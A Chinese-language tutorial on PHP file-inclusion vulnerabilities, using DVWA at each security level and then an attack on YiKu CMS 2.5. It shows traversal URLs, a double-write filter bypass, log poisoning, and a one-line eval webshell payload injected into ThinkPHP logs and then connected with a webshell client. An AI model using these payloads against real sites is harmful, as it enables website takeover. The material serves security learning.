文件包含漏洞学习总结(结尾有实例)
什么是文件包含(漏洞)?
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
而此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行,php中与文件包含的有关的函数为 (include(),require()和include_once(),require_once())它们的区别如下
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含(漏洞)分为本地包含和远程包含,想要远程包含时需要在php.ini配置文件中将allow_url_fopen设置为On(开启状态)。
文件包含(漏洞)读文件
下面以DVWA文件包含模块进行举例,首先查看一下,low级别的源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
我们发现代码中没有对接收的page参数做任何处理,所以参数page是不可控的,这样就会造成任意文件读取和任意命令执行。先看一下原始的URL
http://www.test.com/DVWA-master/vulnerabilities/fi/?page=include.php
我们将include.php替换成不存在的来看一下,我们发现报错了,并且报出了绝对路径。如下图
接下来咱们构造如下URL,发现读取到了配置文件php.ini
http://www.test.com/DVWA-master/vulnerabilities/fi/?page=D:phpstudy_proWWWwww.test.comDVWA-masterphp.ini
如下图
接下来咱们看一下中级别的源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file );
?>
发现中级别的使用的str_replace函数,将http:// https:// ../ .. 都替换为空格,也就是相当于删除了,但是这种安全措施,很容易绕过,你不是删除吗,那我双写,比如,可以将前面内容构造成htthttp://p://,这个函数将中间的http://删除,剩下的内容重新构成http://,这样就绕过了,执行了构造的恶意链接。
../和..同样的道理,这是用这样的方式,如下图,咱们依然读取了php.ini配置文件。
下面咱们看一下高级别的源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
发现高级别的源代码用了fnmatch函数,对page参数进行检查,如果包含的文件后缀,不是include.php,那就要求page参数的开头必须是file,服务器才会去包含相应的文件。这样咱们还是有方法绕过,可以使用file协议绕过。
再看一下最高级别的核心源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
最高级别的只允许包含上面三个文件,杜绝了文件包含漏洞。
包含日志文件
而有些时候,当发现本地包含漏洞,普通方法咱们都试过了发现无法利用,这时候可以换一种思路,可以利用日志文件来进行入侵。这里以Apache举例,Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中,这时候咱们直接在参数后加上咱们的恶意代码,页面报错,这个错误信息就会记录到access.log中,里面包含了恶意代码,这时候只要知道日志的路径,就可以使用菜刀链接,直接getwebshell。
PHP内置协议
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。有想要了解的小伙伴可以去PHP官网,官网地址http://www.php.net/manual/zh/wrappers.php。这里列出了一些
File:// /*访问本地文件系统*/
htt[p:// /*访问HTTP(s)网址*/
ftp:// /*访问FTP(s)URLS*/
php:// /*访问各个输入/输出流(I/o streams)
zlib:// /*压缩流*/
data:// /*数据(RFC2397)*/
ssh2:// /*Secure Shell 2*/
expect:// /*处理交互式的流*/
实例
说明:通过本地包含直接getwebshell,直接控制整个网站权限。大体思路:构造错误页面,里面包含恶意代码,利用thinkphp的错误日志功能,直接菜刀连接。
实战环境是,易酷cms2.5 源码下载地址 https://dl.pconline.com.cn/download/1492133.html
我已经下载源码,本地搭建好了,直接开始,搭建好的页面显示如图
接下来构造错误页面,如下图
接下来,在url的后面结合thinkphp的模板语法构造一句话为:{~eval($_POST[-7])},结果如下图,发现咱们的一句话木马已经插入到错误日志中
可以找到/temp/logs/目录下找到这个文件,咱们确定一下看看错误日志里到底有没有咱们的木马,发现确实存在
然后菜刀连接,成功getwebshell
- hbase源码系列(七)Snapshot的过程
- CVE-2017-3085:Adobe Flash泄漏Windows用户凭证
- hbase源码系列(九)StoreFile存储格式
- 如何确定恶意软件是否在自己的电脑中执行过?
- Carbondata源码系列(二)文件格式详解
- 挖洞经验 | 记一次针对Twitter(Periscope)API 的有趣挖洞经历
- 设计模式学习(二): 观察者模式 (C#)
- Carbondata源码系列(一)文件生成过程
- BoopSuite:基于Python编写的无线安全审计套件
- 设计模式学习(一):多用组合少用继承(C#)
- 在asp.net web api 2 (ioc autofac) 使用 Serilog 记录日志
- hbase源码系列(十三)缓存机制MemStore与Block Cache
- hbase源码系列(十四)Compact和Split
- 设计模式学习(四): 1.简单工厂 (附C#实现)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ES 面试题
- Flink 面试题
- 【入坑JAVA安全】序列化与反序列化
- Redis 常见面试题
- 老公,JNDI注入是什么呀?
- XXE漏洞:DocumentBuilder使用之殇
- IDEA怎么远程调试应用?
- Tidyverse| XX_join :多个数据表(文件)之间的各种连接
- tidyverse|数据分析常规操作-分组汇总(sumamrise+group_by)
- R|生存分析 - KM曲线 ,必须拥有姓名和颜值
- 每日一题 | 不确定参与人数的抽奖问题
- PT-OSC在线DDL变更工具使用攻略
- mysql-8.0.12-winx64 解压版安装
- Java8InAction
- 文本挖掘|不得不知的jiebaR包,切词分词?